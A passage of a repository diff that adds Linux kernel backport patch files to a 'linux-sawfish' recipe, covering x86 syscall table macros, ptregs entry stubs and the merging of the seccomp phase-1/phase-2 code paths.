void (*sys_call_ptr_t)(void); + +diff --git a/arch/x86/kernel/asm-offsets_32.c b/arch/x86/kernel/asm-offsets_32.c +index d67c4be..e5734ab 100644 +--- a/arch/x86/kernel/asm-offsets_32.c ++++ b/arch/x86/kernel/asm-offsets_32.c +@@ -3,7 +3,7 @@ + #include + #include "../../../drivers/lguest/lg.h" + +-#define __SYSCALL_I386(nr, sym, compat) [nr] = 1, ++#define __SYSCALL_I386(nr, sym) [nr] = 1, + static char syscalls[] = { + #include + }; +diff --git a/arch/x86/kernel/asm-offsets_64.c b/arch/x86/kernel/asm-offsets_64.c +index 72a262a..e2a958f 100644 +--- a/arch/x86/kernel/asm-offsets_64.c ++++ b/arch/x86/kernel/asm-offsets_64.c +@@ -1,10 +1,10 @@ + #include + +-#define __SYSCALL_64(nr, sym, compat) [nr] = 1, ++#define __SYSCALL_64(nr, sym) [nr] = 1, + static char syscalls_64[] = { + #include + }; +-#define __SYSCALL_I386(nr, sym, compat) [nr] = 1, ++#define __SYSCALL_I386(nr, sym) [nr] = 1, + static char syscalls_ia32[] = { + #include + }; +diff --git a/arch/x86/kernel/syscall_32.c b/arch/x86/kernel/syscall_32.c +index e9bcd57..3408161 100644 +--- a/arch/x86/kernel/syscall_32.c ++++ b/arch/x86/kernel/syscall_32.c +@@ -5,11 +5,11 @@ + #include + #include + +-#define __SYSCALL_I386(nr, sym, compat) extern asmlinkage void sym(void) ; ++#define __SYSCALL_I386(nr, sym) extern asmlinkage void sym(void) ; + #include + #undef __SYSCALL_I386 + +-#define __SYSCALL_I386(nr, sym, compat) [nr] = sym, ++#define __SYSCALL_I386(nr, sym) [nr] = sym, + + typedef asmlinkage void (*sys_call_ptr_t)(void); + +diff --git a/arch/x86/kernel/syscall_64.c b/arch/x86/kernel/syscall_64.c +index 9ed5128..a511358 100644 +--- a/arch/x86/kernel/syscall_64.c ++++ b/arch/x86/kernel/syscall_64.c +@@ -6,11 +6,11 @@ + #include + #include + +-#define __SYSCALL_64(nr, sym, compat) extern asmlinkage void sym(void) ; ++#define __SYSCALL_64(nr, sym) extern asmlinkage void sym(void) ; + #include + #undef __SYSCALL_64 + +-#define __SYSCALL_64(nr, sym, compat) [nr] = sym, ++#define __SYSCALL_64(nr, sym) [nr] = sym, + + extern void sys_ni_syscall(void); + +diff --git a/arch/x86/syscalls/syscalltbl.sh b/arch/x86/syscalls/syscalltbl.sh +index 5ebeaf1..b81479c 100644 +--- a/arch/x86/syscalls/syscalltbl.sh ++++ b/arch/x86/syscalls/syscalltbl.sh +@@ -8,10 +8,24 @@ + nr="$2" + entry="$3" + compat="$4" +- if [ -n "$compat" ]; then +- echo "__SYSCALL_${abi}($nr, $entry, $compat)" +- elif [ -n "$entry" ]; then +- echo "__SYSCALL_${abi}($nr, $entry, $entry)" ++ ++ if [ "$abi" == "64" -a -n "$compat" ]; then ++ echo "a compat entry for a 64-bit syscall makes no sense" >&2 ++ exit 1 ++ fi ++ ++ if [ -z "$compat" ]; then ++ if [ -n "$entry" ]; then ++ echo "__SYSCALL_${abi}($nr, $entry)" ++ fi ++ else ++ echo "#ifdef CONFIG_X86_32" ++ if [ -n "$entry" ]; then ++ echo "__SYSCALL_${abi}($nr, $entry)" ++ fi ++ echo "#else" ++ echo "__SYSCALL_${abi}($nr, $compat)" ++ echo "#endif" + fi + } + +diff --git a/arch/x86/um/sys_call_table_32.c b/arch/x86/um/sys_call_table_32.c +index bd16d6c..3a5fc02 100644 +--- a/arch/x86/um/sys_call_table_32.c ++++ b/arch/x86/um/sys_call_table_32.c +@@ -24,11 +24,11 @@ + + #define old_mmap sys_old_mmap + +-#define __SYSCALL_I386(nr, sym, compat) extern asmlinkage void sym(void) ; ++#define __SYSCALL_I386(nr, sym) extern asmlinkage void sym(void) ; + #include + + #undef __SYSCALL_I386 +-#define __SYSCALL_I386(nr, sym, compat) [ nr ] = sym, ++#define __SYSCALL_I386(nr, sym) [ nr ] = sym, + + typedef asmlinkage void (*sys_call_ptr_t)(void); + +diff --git a/arch/x86/um/sys_call_table_64.c b/arch/x86/um/sys_call_table_64.c +index b18689f..f681e90 100644 +--- a/arch/x86/um/sys_call_table_64.c ++++ b/arch/x86/um/sys_call_table_64.c +@@ -33,11 +33,11 @@ + #define stub_execve sys_execve + #define stub_rt_sigreturn sys_rt_sigreturn + +-#define __SYSCALL_64(nr, sym, compat) extern asmlinkage void sym(void) ; ++#define __SYSCALL_64(nr, sym) extern asmlinkage void sym(void) ; + #include + + #undef __SYSCALL_64 +-#define __SYSCALL_64(nr, sym, compat) [ nr ] = sym, ++#define __SYSCALL_64(nr, sym) [ nr ] = sym, + + typedef void (*sys_call_ptr_t)(void); + +diff --git a/arch/x86/um/user-offsets.c b/arch/x86/um/user-offsets.c +index 5edf4f4..6c9a9c1 100644 +--- a/arch/x86/um/user-offsets.c ++++ b/arch/x86/um/user-offsets.c +@@ -9,12 +9,12 @@ + #include + + #ifdef __i386__ +-#define __SYSCALL_I386(nr, sym, compat) [nr] = 1, ++#define __SYSCALL_I386(nr, sym) [nr] = 1, + static char syscalls[] = { + #include + }; + #else +-#define __SYSCALL_64(nr, sym, compat) [nr] = 1, ++#define __SYSCALL_64(nr, sym) [nr] = 1, + static char syscalls[] = { + #include + }; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0487.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0487.diff new file mode 100644 index 0000000..fac0b12 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0487.diff @@ -0,0 +1,182 @@ +diff --git a/arch/x86/ia32/syscall_ia32.c b/arch/x86/ia32/syscall_ia32.c +index 87ef508..116c631 100644 +--- a/arch/x86/ia32/syscall_ia32.c ++++ b/arch/x86/ia32/syscall_ia32.c +@@ -5,11 +5,11 @@ + #include + #include + +-#define __SYSCALL_I386(nr, sym) extern asmlinkage void sym(void) ; ++#define __SYSCALL_I386(nr, sym, qual) extern asmlinkage void sym(void) ; + #include + #undef __SYSCALL_I386 + +-#define __SYSCALL_I386(nr, sym) [nr] = sym, ++#define __SYSCALL_I386(nr, sym, qual) [nr] = sym, + + typedef void (*sys_call_ptr_t)(void); + +diff --git a/arch/x86/kernel/asm-offsets_32.c b/arch/x86/kernel/asm-offsets_32.c +index e5734ab..f86e703 100644 +--- a/arch/x86/kernel/asm-offsets_32.c ++++ b/arch/x86/kernel/asm-offsets_32.c +@@ -3,7 +3,7 @@ + #include + #include "../../../drivers/lguest/lg.h" + +-#define __SYSCALL_I386(nr, sym) [nr] = 1, ++#define __SYSCALL_I386(nr, sym, qual) [nr] = 1, + static char syscalls[] = { + #include + }; +diff --git a/arch/x86/kernel/asm-offsets_64.c b/arch/x86/kernel/asm-offsets_64.c +index e2a958f..b9ece94 100644 +--- a/arch/x86/kernel/asm-offsets_64.c ++++ b/arch/x86/kernel/asm-offsets_64.c +@@ -1,10 +1,10 @@ + #include + +-#define __SYSCALL_64(nr, sym) [nr] = 1, ++#define __SYSCALL_64(nr, sym, qual) [nr] = 1, + static char syscalls_64[] = { + #include + }; +-#define __SYSCALL_I386(nr, sym) [nr] = 1, ++#define __SYSCALL_I386(nr, sym, qual) [nr] = 1, + static char syscalls_ia32[] = { + #include + }; +diff --git a/arch/x86/kernel/syscall_32.c b/arch/x86/kernel/syscall_32.c +index 3408161..90534d0 100644 +--- a/arch/x86/kernel/syscall_32.c ++++ b/arch/x86/kernel/syscall_32.c +@@ -5,11 +5,11 @@ + #include + #include + +-#define __SYSCALL_I386(nr, sym) extern asmlinkage void sym(void) ; ++#define __SYSCALL_I386(nr, sym, qual) extern asmlinkage void sym(void) ; + #include + #undef __SYSCALL_I386 + +-#define __SYSCALL_I386(nr, sym) [nr] = sym, ++#define __SYSCALL_I386(nr, sym, qual) [nr] = sym, + + typedef asmlinkage void (*sys_call_ptr_t)(void); + +diff --git a/arch/x86/kernel/syscall_64.c b/arch/x86/kernel/syscall_64.c +index a511358..63bb3ee 100644 +--- a/arch/x86/kernel/syscall_64.c ++++ b/arch/x86/kernel/syscall_64.c +@@ -6,11 +6,11 @@ + #include + #include + +-#define __SYSCALL_64(nr, sym) extern asmlinkage void sym(void) ; ++#define __SYSCALL_64(nr, sym, qual) extern asmlinkage void sym(void) ; + #include + #undef __SYSCALL_64 + +-#define __SYSCALL_64(nr, sym) [nr] = sym, ++#define __SYSCALL_64(nr, sym, qual) [nr] = sym, + + extern void sys_ni_syscall(void); + +diff --git a/arch/x86/syscalls/syscalltbl.sh b/arch/x86/syscalls/syscalltbl.sh +index b81479c..cd3d301 100644 +--- a/arch/x86/syscalls/syscalltbl.sh ++++ b/arch/x86/syscalls/syscalltbl.sh +@@ -3,6 +3,19 @@ + in="$1" + out="$2" + ++syscall_macro() { ++ abi="$1" ++ nr="$2" ++ entry="$3" ++ ++ # Entry can be either just a function name or "function/qualifier" ++ real_entry="${entry%%/*}" ++ qualifier="${entry:${#real_entry}}" # Strip the function name ++ qualifier="${qualifier:1}" # Strip the slash, if any ++ ++ echo "__SYSCALL_${abi}($nr, $real_entry, $qualifier)" ++} ++ + emit() { + abi="$1" + nr="$2" +@@ -16,15 +29,15 @@ + + if [ -z "$compat" ]; then + if [ -n "$entry" ]; then +- echo "__SYSCALL_${abi}($nr, $entry)" ++ syscall_macro "$abi" "$nr" "$entry" + fi + else + echo "#ifdef CONFIG_X86_32" + if [ -n "$entry" ]; then +- echo "__SYSCALL_${abi}($nr, $entry)" ++ syscall_macro "$abi" "$nr" "$entry" + fi + echo "#else" +- echo "__SYSCALL_${abi}($nr, $compat)" ++ syscall_macro "$abi" "$nr" "$compat" + echo "#endif" + fi + } +diff --git a/arch/x86/um/sys_call_table_32.c b/arch/x86/um/sys_call_table_32.c +index 3a5fc02..4a8693c 100644 +--- a/arch/x86/um/sys_call_table_32.c ++++ b/arch/x86/um/sys_call_table_32.c +@@ -24,11 +24,11 @@ + + #define old_mmap sys_old_mmap + +-#define __SYSCALL_I386(nr, sym) extern asmlinkage void sym(void) ; ++#define __SYSCALL_I386(nr, sym, qual) extern asmlinkage void sym(void) ; + #include + + #undef __SYSCALL_I386 +-#define __SYSCALL_I386(nr, sym) [ nr ] = sym, ++#define __SYSCALL_I386(nr, sym, qual) [ nr ] = sym, + + typedef asmlinkage void (*sys_call_ptr_t)(void); + +diff --git a/arch/x86/um/sys_call_table_64.c b/arch/x86/um/sys_call_table_64.c +index f681e90..d426fb1 100644 +--- a/arch/x86/um/sys_call_table_64.c ++++ b/arch/x86/um/sys_call_table_64.c +@@ -33,11 +33,11 @@ + #define stub_execve sys_execve + #define stub_rt_sigreturn sys_rt_sigreturn + +-#define __SYSCALL_64(nr, sym) extern asmlinkage void sym(void) ; ++#define __SYSCALL_64(nr, sym, qual) extern asmlinkage void sym(void) ; + #include + + #undef __SYSCALL_64 +-#define __SYSCALL_64(nr, sym) [ nr ] = sym, ++#define __SYSCALL_64(nr, sym, qual) [ nr ] = sym, + + typedef void (*sys_call_ptr_t)(void); + +diff --git a/arch/x86/um/user-offsets.c b/arch/x86/um/user-offsets.c +index 6c9a9c1..470564b 100644 +--- a/arch/x86/um/user-offsets.c ++++ b/arch/x86/um/user-offsets.c +@@ -9,12 +9,12 @@ + #include + + #ifdef __i386__ +-#define __SYSCALL_I386(nr, sym) [nr] = 1, ++#define __SYSCALL_I386(nr, sym, qual) [nr] = 1, + static char syscalls[] = { + #include + }; + #else +-#define __SYSCALL_64(nr, sym) [nr] = 1, ++#define __SYSCALL_64(nr, sym, qual) [nr] = 1, + static char syscalls[] = { + #include + }; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0488.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0488.diff new file mode 100644 index 0000000..ee08215 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0488.diff @@ -0,0 +1,145 @@ +diff --git a/arch/x86/kernel/entry_64.S b/arch/x86/kernel/entry_64.S +index a3255ca..de184ed 100644 +--- a/arch/x86/kernel/entry_64.S ++++ b/arch/x86/kernel/entry_64.S +@@ -81,6 +81,38 @@ + ENDPROC(native_usergs_sysret64) + #endif /* CONFIG_PARAVIRT */ + ++ENTRY(stub_ptregs_64) ++ /* ++ * Syscalls marked as needing ptregs land here. ++ * If we are on the fast path, we need to save the extra regs. ++ * If we are on the slow path, the extra regs are already saved. ++ * ++ * RAX stores a pointer to the C function implementing the syscall. ++ */ ++ cmpq $.Lentry_SYSCALL_64_after_fastpath_call, (%rsp) ++ jne 1f ++ ++ /* Called from fast path -- pop return address and jump to slow path */ ++ popq %rax ++ jmp tracesys /* called from fast path */ ++ ++1: ++ /* Called from C */ ++ jmp *%rax /* called from C */ ++END(stub_ptregs_64) ++ ++.macro ptregs_stub func ++ENTRY(ptregs_\func) ++ leaq \func(%rip), %rax ++ jmp stub_ptregs_64 ++END(ptregs_\func) ++.endm ++ ++/* Instantiate ptregs_stub for each ptregs-using syscall */ ++#define __SYSCALL_64_QUAL_(sym) ++#define __SYSCALL_64_QUAL_ptregs(sym) ptregs_stub sym ++#define __SYSCALL_64(nr, sym, qual) __SYSCALL_64_QUAL_##qual(sym) ++#include + + .macro TRACE_IRQS_IRETQ offset=ARGOFFSET + #ifdef CONFIG_TRACE_IRQFLAGS +@@ -422,7 +454,15 @@ + #endif + ja ret_from_sys_call /* and return regs->ax */ + movq %r10,%rcx ++ ++ /* ++ * This call instruction is handled specially in stub_ptregs_64. ++ * It might end up jumping to the slow path. If it jumps, RAX is ++ * clobbered. ++ */ + call *sys_call_table(,%rax,8) # XXX: rip relative ++.Lentry_SYSCALL_64_after_fastpath_call: ++ + movq %rax,RAX-ARGOFFSET(%rsp) + /* + * Syscall return path ending with SYSRET (fast path) +@@ -497,25 +537,14 @@ + + /* Do syscall tracing */ + tracesys: +- leaq -REST_SKIP(%rsp), %rdi +- movq $AUDIT_ARCH_X86_64, %rsi +- call syscall_trace_enter_phase1 +- test %rax, %rax +- jnz tracesys_phase2 /* if needed, run the slow path */ +- LOAD_ARGS 0 /* else restore clobbered regs */ +- jmp system_call_fastpath /* and return to the fast path */ +- +-tracesys_phase2: + SAVE_REST + FIXUP_TOP_OF_STACK %rdi + movq %rsp, %rdi +- movq $AUDIT_ARCH_X86_64, %rsi +- movq %rax,%rdx +- call syscall_trace_enter_phase2 ++ call syscall_trace_enter + + /* + * Reload arg registers from stack in case ptrace changed them. +- * We don't reload %rax because syscall_trace_entry_phase2() returned ++ * We don't reload %rax because syscall_trace_enter() returned + * the value it wants us to use in the table lookup. + */ + LOAD_ARGS ARGOFFSET, 1 +diff --git a/arch/x86/kernel/syscall_64.c b/arch/x86/kernel/syscall_64.c +index 63bb3ee..3b047d0 100644 +--- a/arch/x86/kernel/syscall_64.c ++++ b/arch/x86/kernel/syscall_64.c +@@ -6,11 +6,14 @@ + #include + #include + +-#define __SYSCALL_64(nr, sym, qual) extern asmlinkage void sym(void) ; ++#define __SYSCALL_64_QUAL_(sym) sym ++#define __SYSCALL_64_QUAL_ptregs(sym) ptregs_##sym ++ ++#define __SYSCALL_64(nr, sym, qual) extern asmlinkage void __SYSCALL_64_QUAL_##qual(sym)(void) ; + #include + #undef __SYSCALL_64 + +-#define __SYSCALL_64(nr, sym, qual) [nr] = sym, ++#define __SYSCALL_64(nr, sym, qual) [nr] = __SYSCALL_64_QUAL_##qual(sym), + + extern void sys_ni_syscall(void); + +diff --git a/arch/x86/syscalls/syscall_64.tbl b/arch/x86/syscalls/syscall_64.tbl +index 281150b..f05086d 100644 +--- a/arch/x86/syscalls/syscall_64.tbl ++++ b/arch/x86/syscalls/syscall_64.tbl +@@ -21,7 +21,7 @@ + 12 common brk sys_brk + 13 64 rt_sigaction sys_rt_sigaction + 14 common rt_sigprocmask sys_rt_sigprocmask +-15 64 rt_sigreturn stub_rt_sigreturn ++15 64 rt_sigreturn stub_rt_sigreturn/ptregs + 16 64 ioctl sys_ioctl + 17 common pread64 sys_pread64 + 18 common pwrite64 sys_pwrite64 +@@ -62,10 +62,10 @@ + 53 common socketpair sys_socketpair + 54 64 setsockopt sys_setsockopt + 55 64 getsockopt sys_getsockopt +-56 common clone stub_clone +-57 common fork stub_fork +-58 common vfork stub_vfork +-59 64 execve stub_execve ++56 common clone stub_clone/ptregs ++57 common fork stub_fork/ptregs ++58 common vfork stub_vfork/ptregs ++59 64 execve stub_execve/ptregs + 60 common exit sys_exit + 61 common wait4 sys_wait4 + 62 common kill sys_kill +@@ -341,7 +341,7 @@ + 517 x32 recvfrom compat_sys_recvfrom + 518 x32 sendmsg compat_sys_sendmsg + 519 x32 recvmsg compat_sys_recvmsg +-520 x32 execve stub_x32_execve ++520 x32 execve stub_x32_execve/ptregs + 521 x32 ptrace compat_sys_ptrace + 522 x32 rt_sigpending compat_sys_rt_sigpending + 523 x32 rt_sigtimedwait compat_sys_rt_sigtimedwait diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0489.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0489.diff new file mode 100644 index 0000000..f21459b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0489.diff @@ -0,0 +1,109 @@ +diff --git a/arch/arm/kernel/ptrace.c b/arch/arm/kernel/ptrace.c +index 4d93758..1027d3b 100644 +--- a/arch/arm/kernel/ptrace.c ++++ b/arch/arm/kernel/ptrace.c +@@ -934,7 +934,7 @@ + + /* Do the secure computing check first; failures should be fast. */ + #ifdef CONFIG_HAVE_ARCH_SECCOMP_FILTER +- if (secure_computing() == -1) ++ if (secure_computing(NULL) == -1) + return -1; + #else + /* XXX: remove this once OABI gets fixed */ +diff --git a/arch/arm64/kernel/ptrace.c b/arch/arm64/kernel/ptrace.c +index 95fcbd5..4fe7eb2 100644 +--- a/arch/arm64/kernel/ptrace.c ++++ b/arch/arm64/kernel/ptrace.c +@@ -1152,7 +1152,7 @@ + asmlinkage int syscall_trace_enter(struct pt_regs *regs) + { + /* Do the secure computing check first; failures should be fast. */ +- if (secure_computing() == -1) ++ if (secure_computing(NULL) == -1) + return -1; + + if (test_thread_flag(TIF_SYSCALL_TRACE)) +diff --git a/arch/mips/kernel/ptrace.c b/arch/mips/kernel/ptrace.c +index 8b19ef0..14c6afe 100644 +--- a/arch/mips/kernel/ptrace.c ++++ b/arch/mips/kernel/ptrace.c +@@ -885,7 +885,7 @@ + long ret = 0; + user_exit(); + +- if (secure_computing() == -1) ++ if (secure_computing(NULL) == -1) + return -1; + + if (test_thread_flag(TIF_SYSCALL_TRACE) && +diff --git a/arch/s390/kernel/ptrace.c b/arch/s390/kernel/ptrace.c +index 99a567b..d5dca6c 100644 +--- a/arch/s390/kernel/ptrace.c ++++ b/arch/s390/kernel/ptrace.c +@@ -809,7 +809,7 @@ + long ret = 0; + + /* Do the secure computing check first. */ +- if (secure_computing()) { ++ if (secure_computing(NULL)) { + /* seccomp failures shouldn't expose any additional code. */ + ret = -1; + goto out; +diff --git a/arch/x86/kernel/vsyscall_64.c b/arch/x86/kernel/vsyscall_64.c +index 957779f..622d0ad 100644 +--- a/arch/x86/kernel/vsyscall_64.c ++++ b/arch/x86/kernel/vsyscall_64.c +@@ -216,7 +216,7 @@ + */ + regs->orig_ax = syscall_nr; + regs->ax = -ENOSYS; +- tmp = secure_computing(); ++ tmp = secure_computing(NULL); + if ((!tmp && regs->orig_ax != syscall_nr) || regs->ip != address) { + warn_bad_vsyscall(KERN_DEBUG, regs, + "seccomp tried to change syscall nr or ip"); +diff --git a/include/linux/seccomp.h b/include/linux/seccomp.h +index a19ddac..7e77beb 100644 +--- a/include/linux/seccomp.h ++++ b/include/linux/seccomp.h +@@ -28,11 +28,11 @@ + }; + + #ifdef CONFIG_HAVE_ARCH_SECCOMP_FILTER +-extern int __secure_computing(void); +-static inline int secure_computing(void) ++extern int __secure_computing(const struct seccomp_data *sd); ++static inline int secure_computing(const struct seccomp_data *sd) + { + if (unlikely(test_thread_flag(TIF_SECCOMP))) +- return __secure_computing(); ++ return __secure_computing(sd); + return 0; + } + +@@ -61,7 +61,7 @@ + struct seccomp_filter { }; + + #ifdef CONFIG_HAVE_ARCH_SECCOMP_FILTER +-static inline int secure_computing(void) { return 0; } ++static inline int secure_computing(struct seccomp_data *sd) { return 0; } + #else + static inline void secure_computing_strict(int this_syscall) { return; } + #endif +diff --git a/kernel/seccomp.c b/kernel/seccomp.c +index 30c682a..d692dee 100644 +--- a/kernel/seccomp.c ++++ b/kernel/seccomp.c +@@ -599,9 +599,9 @@ + BUG(); + } + #else +-int __secure_computing(void) ++int __secure_computing(const struct seccomp_data *sd) + { +- u32 phase1_result = seccomp_phase1(NULL); ++ u32 phase1_result = seccomp_phase1(sd); + + if (likely(phase1_result == SECCOMP_PHASE1_OK)) + return 0; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0490.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0490.diff new file mode 100644 index 0000000..710444e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0490.diff @@ -0,0 +1,152 @@ +diff --git a/arch/x86/include/asm/ptrace.h b/arch/x86/include/asm/ptrace.h +index 86fc2bb..057c9f6 100644 +--- a/arch/x86/include/asm/ptrace.h ++++ b/arch/x86/include/asm/ptrace.h +@@ -76,10 +76,6 @@ + int error_code, int si_code); + + +-extern unsigned long syscall_trace_enter_phase1(struct pt_regs *, u32 arch); +-extern long syscall_trace_enter_phase2(struct pt_regs *, u32 arch, +- unsigned long phase1_result); +- + extern long syscall_trace_enter(struct pt_regs *); + extern void syscall_trace_leave(struct pt_regs *); + +diff --git a/arch/x86/kernel/ptrace.c b/arch/x86/kernel/ptrace.c +index e510618..cf7fa7d 100644 +--- a/arch/x86/kernel/ptrace.c ++++ b/arch/x86/kernel/ptrace.c +@@ -1456,20 +1456,13 @@ + } + + /* +- * We can return 0 to resume the syscall or anything else to go to phase +- * 2. If we resume the syscall, we need to put something appropriate in +- * regs->orig_ax. +- * +- * NB: We don't have full pt_regs here, but regs->orig_ax and regs->ax +- * are fully functional. +- * +- * For phase 2's benefit, our return value is: +- * 0: resume the syscall +- * 1: go to phase 2; no seccomp phase 2 needed +- * anything else: go to phase 2; pass return value to seccomp ++ * Returns the syscall nr to run (which should match regs->orig_ax) or -1 ++ * to skip the syscall. + */ +-unsigned long syscall_trace_enter_phase1(struct pt_regs *regs, u32 arch) ++long syscall_trace_enter(struct pt_regs *regs) + { ++ u32 arch = is_ia32_task() ? AUDIT_ARCH_I386 : AUDIT_ARCH_X86_64; ++ + unsigned long ret = 0; + u32 work; + +@@ -1487,6 +1480,16 @@ + work &= ~_TIF_NOHZ; + } + ++ /* ++ * If we stepped into a sysenter/syscall insn, it trapped in ++ * kernel mode; do_debug() cleared TF and set TIF_SINGLESTEP. ++ * If user-mode had set TF itself, then it's still clear from ++ * do_debug() and we need to set it again to restore the user ++ * state. If we entered on the slow path, TF was already set. ++ */ ++ if (work & _TIF_SINGLESTEP) ++ regs->flags |= X86_EFLAGS_TF; ++ + #ifdef CONFIG_SECCOMP + /* + * Do seccomp first -- it should minimize exposure of other +@@ -1518,68 +1521,9 @@ + sd.args[5] = regs->bp; + } + +- BUILD_BUG_ON(SECCOMP_PHASE1_OK != 0); +- BUILD_BUG_ON(SECCOMP_PHASE1_SKIP != 1); +- +- ret = seccomp_phase1(&sd); +- if (ret == SECCOMP_PHASE1_SKIP) { +- regs->orig_ax = -1; +- ret = 0; +- } else if (ret != SECCOMP_PHASE1_OK) { +- return ret; /* Go directly to phase 2 */ +- } +- +- work &= ~_TIF_SECCOMP; +- } +-#endif +- +- /* Do our best to finish without phase 2. */ +- if (work == 0) +- return ret; /* seccomp and/or nohz only (ret == 0 here) */ +- +-#ifdef CONFIG_AUDITSYSCALL +- if (work == _TIF_SYSCALL_AUDIT) { +- /* +- * If there is no more work to be done except auditing, +- * then audit in phase 1. Phase 2 always audits, so, if +- * we audit here, then we can't go on to phase 2. +- */ +- do_audit_syscall_entry(regs, arch); +- return 0; +- } +-#endif +- +- return 1; /* Something is enabled that we can't handle in phase 1 */ +-} +- +-/* Returns the syscall nr to run (which should match regs->orig_ax). */ +-long syscall_trace_enter_phase2(struct pt_regs *regs, u32 arch, +- unsigned long phase1_result) +-{ +- long ret = 0; +- u32 work = ACCESS_ONCE(current_thread_info()->flags) & +- _TIF_WORK_SYSCALL_ENTRY; +- +- BUG_ON(regs != task_pt_regs(current)); +- +- /* +- * If we stepped into a sysenter/syscall insn, it trapped in +- * kernel mode; do_debug() cleared TF and set TIF_SINGLESTEP. +- * If user-mode had set TF itself, then it's still clear from +- * do_debug() and we need to set it again to restore the user +- * state. If we entered on the slow path, TF was already set. +- */ +- if (work & _TIF_SINGLESTEP) +- regs->flags |= X86_EFLAGS_TF; +- +-#ifdef CONFIG_SECCOMP +- /* +- * Call seccomp_phase2 before running the other hooks so that +- * they can see any changes made by a seccomp tracer. +- */ +- if (phase1_result > 1 && seccomp_phase2(phase1_result)) { +- /* seccomp failures shouldn't expose any additional code. */ +- return -1; ++ ret = __secure_computing(&sd); ++ if (ret == -1) ++ return ret; + } + #endif + +@@ -1598,17 +1542,6 @@ + return ret ?: regs->orig_ax; + } + +-long syscall_trace_enter(struct pt_regs *regs) +-{ +- u32 arch = is_ia32_task() ? AUDIT_ARCH_I386 : AUDIT_ARCH_X86_64; +- unsigned long phase1_result = syscall_trace_enter_phase1(regs, arch); +- +- if (phase1_result == 0) +- return regs->orig_ax; +- else +- return syscall_trace_enter_phase2(regs, arch, phase1_result); +-} +- + void syscall_trace_leave(struct pt_regs *regs) + { + bool step; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0491.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0491.diff new file mode 100644 index 0000000..1f0b90e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0491.diff @@ -0,0 +1,193 @@ +diff --git a/include/linux/seccomp.h b/include/linux/seccomp.h +index 7e77beb..fb81d4f 100644 +--- a/include/linux/seccomp.h ++++ b/include/linux/seccomp.h +@@ -35,12 +35,6 @@ + return __secure_computing(sd); + return 0; + } +- +-#define SECCOMP_PHASE1_OK 0 +-#define SECCOMP_PHASE1_SKIP 1 +- +-extern u32 seccomp_phase1(struct seccomp_data *sd); +-int seccomp_phase2(u32 phase1_result); + #else + extern void secure_computing_strict(int this_syscall); + #endif +diff --git a/kernel/seccomp.c b/kernel/seccomp.c +index d692dee..9a17ae2 100644 +--- a/kernel/seccomp.c ++++ b/kernel/seccomp.c +@@ -173,7 +173,7 @@ + * + * Returns valid seccomp BPF response codes. + */ +-static u32 seccomp_run_filters(struct seccomp_data *sd) ++static u32 seccomp_run_filters(const struct seccomp_data *sd) + { + struct seccomp_filter *f = ACCESS_ONCE(current->seccomp.filter); + struct seccomp_data sd_local; +@@ -599,20 +599,9 @@ + BUG(); + } + #else +-int __secure_computing(const struct seccomp_data *sd) +-{ +- u32 phase1_result = seccomp_phase1(sd); +- +- if (likely(phase1_result == SECCOMP_PHASE1_OK)) +- return 0; +- else if (likely(phase1_result == SECCOMP_PHASE1_SKIP)) +- return -1; +- else +- return seccomp_phase2(phase1_result); +-} + + #ifdef CONFIG_SECCOMP_FILTER +-static u32 __seccomp_phase1_filter(int this_syscall, struct seccomp_data *sd) ++static int __seccomp_filter(int this_syscall, const struct seccomp_data *sd) + { + u32 filter_ret, action; + int data; +@@ -644,10 +633,33 @@ + goto skip; + + case SECCOMP_RET_TRACE: +- return filter_ret; /* Save the rest for phase 2. */ ++ /* ENOSYS these calls if there is no tracer attached. */ ++ if (!ptrace_event_enabled(current, PTRACE_EVENT_SECCOMP)) { ++ syscall_set_return_value(current, ++ task_pt_regs(current), ++ -ENOSYS, 0); ++ goto skip; ++ } ++ ++ /* Allow the BPF to provide the event message */ ++ ptrace_event(PTRACE_EVENT_SECCOMP, data); ++ /* ++ * The delivery of a fatal signal during event ++ * notification may silently skip tracer notification. ++ * Terminating the task now avoids executing a system ++ * call that may not be intended. ++ */ ++ if (fatal_signal_pending(current)) ++ do_exit(SIGSYS); ++ /* Check if the tracer forced the syscall to be skipped. */ ++ this_syscall = syscall_get_nr(current, task_pt_regs(current)); ++ if (this_syscall < 0) ++ goto skip; ++ ++ return 0; + + case SECCOMP_RET_ALLOW: +- return SECCOMP_PHASE1_OK; ++ return 0; + + case SECCOMP_RET_KILL: + default: +@@ -659,92 +671,33 @@ + + skip: + audit_seccomp(this_syscall, 0, action); +- return SECCOMP_PHASE1_SKIP; ++ return -1; ++} ++#else ++static int __seccomp_filter(int this_syscall, const struct seccomp_data *sd) ++{ ++ BUG(); + } + #endif + +-/** +- * seccomp_phase1() - run fast path seccomp checks on the current syscall +- * @arg sd: The seccomp_data or NULL +- * +- * This only reads pt_regs via the syscall_xyz helpers. The only change +- * it will make to pt_regs is via syscall_set_return_value, and it will +- * only do that if it returns SECCOMP_PHASE1_SKIP. +- * +- * If sd is provided, it will not read pt_regs at all. +- * +- * It may also call do_exit or force a signal; these actions must be +- * safe. +- * +- * If it returns SECCOMP_PHASE1_OK, the syscall passes checks and should +- * be processed normally. +- * +- * If it returns SECCOMP_PHASE1_SKIP, then the syscall should not be +- * invoked. In this case, seccomp_phase1 will have set the return value +- * using syscall_set_return_value. +- * +- * If it returns anything else, then the return value should be passed +- * to seccomp_phase2 from a context in which ptrace hooks are safe. +- */ +-u32 seccomp_phase1(struct seccomp_data *sd) ++int __secure_computing(const struct seccomp_data *sd) + { + int mode = current->seccomp.mode; +- int this_syscall = sd ? sd->nr : ++ int this_syscall; ++ ++ this_syscall = sd ? sd->nr : + syscall_get_nr(current, task_pt_regs(current)); + + switch (mode) { + case SECCOMP_MODE_STRICT: + __secure_computing_strict(this_syscall); /* may call do_exit */ +- return 